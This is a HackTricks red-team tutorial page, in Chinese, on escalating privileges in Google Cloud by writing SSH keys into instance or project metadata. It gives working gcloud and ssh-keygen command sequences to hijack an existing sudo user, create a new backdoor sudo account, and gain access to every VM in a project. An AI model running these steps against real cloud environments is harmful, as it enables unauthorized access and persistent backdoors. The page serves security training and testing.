GCP - 添加自定义 SSH 元数据

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

修改元数据

对实例的元数据进行修改可能会导致 如果攻击者获得必要的权限,将会带来重大安全风险

将 SSH 密钥纳入自定义元数据

在 GCP 上,Linux 系统 通常会从 Python Linux Guest Environment for Google Compute Engine 执行脚本。其关键组件是 accounts daemon,旨在 定期检查 实例元数据端点以获取 授权 SSH 公钥的更新

因此,如果攻击者能够修改自定义元数据,他可以使守护进程找到一个新的公钥,该公钥将被处理并 集成到本地系统中。该密钥将被添加到 现有用户的 ~/.ssh/authorized_keys 文件中,或者根据密钥的格式可能创建一个具有 sudo 权限的新用户。攻击者将能够攻陷主机。

将 SSH 密钥添加到现有特权用户

  1. 检查实例上的现有 SSH 密钥:
  • 执行命令以描述实例及其元数据,以定位现有的 SSH 密钥。输出中的相关部分将在 metadata 下,具体是 ssh-keys 键。
gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • 注意 SSH 密钥的格式:用户名在密钥之前,以冒号分隔。
  1. 为 SSH 密钥元数据准备文本文件:
  • 将用户名及其对应的 SSH 密钥的详细信息保存到名为 meta.txt 的文本文件中。这对于在添加新密钥时保留现有密钥至关重要。
  1. 为目标用户(本示例中的 alice)生成新的 SSH 密钥:
  • 使用 ssh-keygen 命令生成新的 SSH 密钥,确保注释字段(-C)与目标用户名匹配。
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • 将新的公钥添加到 meta.txt 中,模仿实例元数据中的格式。
  1. 更新实例的 SSH 密钥元数据:
  • 使用 gcloud compute instances add-metadata 命令将更新的 SSH 密钥元数据应用于实例。
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 使用新 SSH 密钥访问实例:
  • 使用新密钥通过 SSH 连接到实例,以目标用户(本示例中的 alice)的身份访问 shell。
ssh -i ./key alice@localhost
sudo id

创建新特权用户并添加 SSH 密钥

如果没有找到有趣的用户,可以创建一个新用户并赋予其 sudo 权限:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

项目级别的 SSH 密钥

通过 在项目级别应用 SSH 密钥,可以扩大对云环境中多个虚拟机 (VM) 的 SSH 访问范围。这种方法允许对项目中未明确阻止项目范围内 SSH 密钥的任何实例进行 SSH 访问。以下是简要指南:

  1. 在项目级别应用 SSH 密钥:
  • 使用 gcloud compute project-info add-metadata 命令将 meta.txt 中的 SSH 密钥添加到项目的元数据中。此操作确保 SSH 密钥在项目中的所有 VM 中被识别,除非某个 VM 启用了“阻止项目范围内 SSH 密钥”选项。
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. 使用项目范围内的密钥 SSH 进入实例:
  • 在项目范围内的 SSH 密钥到位后,您可以 SSH 进入项目中的任何实例。未阻止项目范围内密钥的实例将接受 SSH 密钥,从而授予访问权限。
  • SSH 进入实例的直接方法是使用 gcloud compute ssh [INSTANCE] 命令。此命令使用您当前的用户名和在项目级别设置的 SSH 密钥尝试访问。

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks